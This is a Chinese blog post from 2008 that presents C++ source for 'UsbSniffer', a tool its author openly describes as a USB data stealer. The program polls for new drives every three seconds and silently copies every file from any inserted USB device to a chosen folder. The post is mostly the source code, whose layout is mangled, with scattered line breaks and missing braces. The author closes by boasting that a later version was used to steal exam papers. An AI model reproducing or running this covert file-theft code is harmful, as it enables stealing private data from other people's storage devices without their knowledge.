UsbSniffer---U盘资料窃取器(C++版)

一年多前的用C++写的小东西了(曾经的C++,自从我接触到C#后,就逐渐离我远去了……),该程序曾经在网络技术论坛发过。现在也发到园子里,主要是为了和后期用C#写的另外一个版本的UsbSniffer做下对比。
---------------------------------------------------------------------
功能简介:
本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路径下。
代码如下:(VC6.0下编写)
/*USBsniffer v1.0*/
/*USBsniffer*/
/*作者:seek*/
/*日期:2007.2.17*/
/*E-mail:tseek1@gmail.com*/
/*纯手工作品,如需转载请注明出处*/
#include 
<iostream>
#include 
<stdlib.h>
#include 
<io.h>
#include 
<windows.h>
#include 
<string>
#include 
<sys/types.h>
#include 
<sys/stat.h>
using namespace std;
void copyfiles(string source,char *target);
char *StringToChar(string source);
bool IsDirectory(const char* fname);
void Init();
int main(int argc,char **argv){
 
if(argc!=2){
   Init();
 }

 
else{
   
while(access(*(argv+1),0)==0)// if directory already exist,this will auto add '\1' back it;
     strcat(*(argv+1),"\\1\\");
   }

     
if(createDirectory(*(argv+1),NULL)){
       DWORD frist
=GetLogicalDrives();
       DWORD second,n
=0;
       
string targetPath="0";
       
while(1)// every 3 seconds to estimate if there is a USB device
         Sleep(3000);
         second
=GetLogicalDrives();
         
if(second-frist>0){
           second
-=frist;
           
while(second>>=1) n++;
           targetPath[
0]=n+65;
           targetPath
+=":\\*";
           copyfiles(targetPath,
*(argv+1));
           
return 0;
         }

       }

     }

 }

}

void copyfiles(string source,char *target){
 WIN32_FIND_DATA FindFileData;
 HANDLE hFind;
 
char *sourceDir=0;
 
int len;
 sourceDir
=StringToChar(source);
 len
=strlen(sourceDir);
 hFind 
= FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;
 sourceDir[len-1]='\0'// take out '*';
 while(1){
   
if(hFind == INVALID_HANDLE_VALUE)//file found error
     break;
   }

   
else{
     
char temp[200];
     
char tempPath[200],tempSource[200];
     strcpy(temp,sourceDir);
     strcat(temp,FindFileData.cFileName);
     
if(IsDirectory(temp)== true)//estimate whether is a directory
       if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,".."))//take out . & ..dirc
         strcpy(tempSource,sourceDir);
         strcat(tempSource,FindFileData.cFileName);
         strcpy(tempPath,target);
         strcat(tempPath,FindFileData.cFileName);
         createDirectory(tempPath,NULL);
         strcat(tempSource,
"\\*");
         strcat(tempPath,
"\\");
         copyfiles(tempSource,tempPath); 
//Recursion 
       }

     }

     
else//if is a file,copy to target dirc
       strcpy(tempSource,sourceDir);
       strcpy(tempPath,target);
       strcat(tempPath,FindFileData.cFileName);
       strcat(tempSource,FindFileData.cFileName);
       CopyFile(tempSource,tempPath,
false);
     }

     
if(FindNextFile(hFind,&FindFileData)==0break//found the next file
   }

 }

 FindClose(hFind);  
//handle closed;
}
 
char* StringToChar(string source)//string convent to char*
char *ch=new char[source.length()];
 ch
=(char*)source.c_str();
 
return ch;
}

bool IsDirectory(const char* fname) //Directory estimate
{
 
return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;
}
 
void Init()//init function
 cout<<"\nUSBsniffer v1.0 \n"<<endl
   
<<"e.g: usbsniffer c:\\usb\\"<<endl
   
<<"\nThen the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement"
   
<<",and the whole log will be saved to c:\\log.txt"<<endl
   
<<"\nWitten By SeeK QQ:771014"<<endl
   
<<"\n2007.2.17"<<endl;
}

一个控制台程序,没有实用价值,完全是为了实现一种思想,不过后期用C#写了个WinForm的,到是用的感觉不错(曾成功窃取了期末考试卷:),今后会陆续发上来,还希望大家多关注本人Blog^_^

posted on 2008-04-26 00:28  seek  阅读(1950)  评论(15编辑  收藏  举报

导航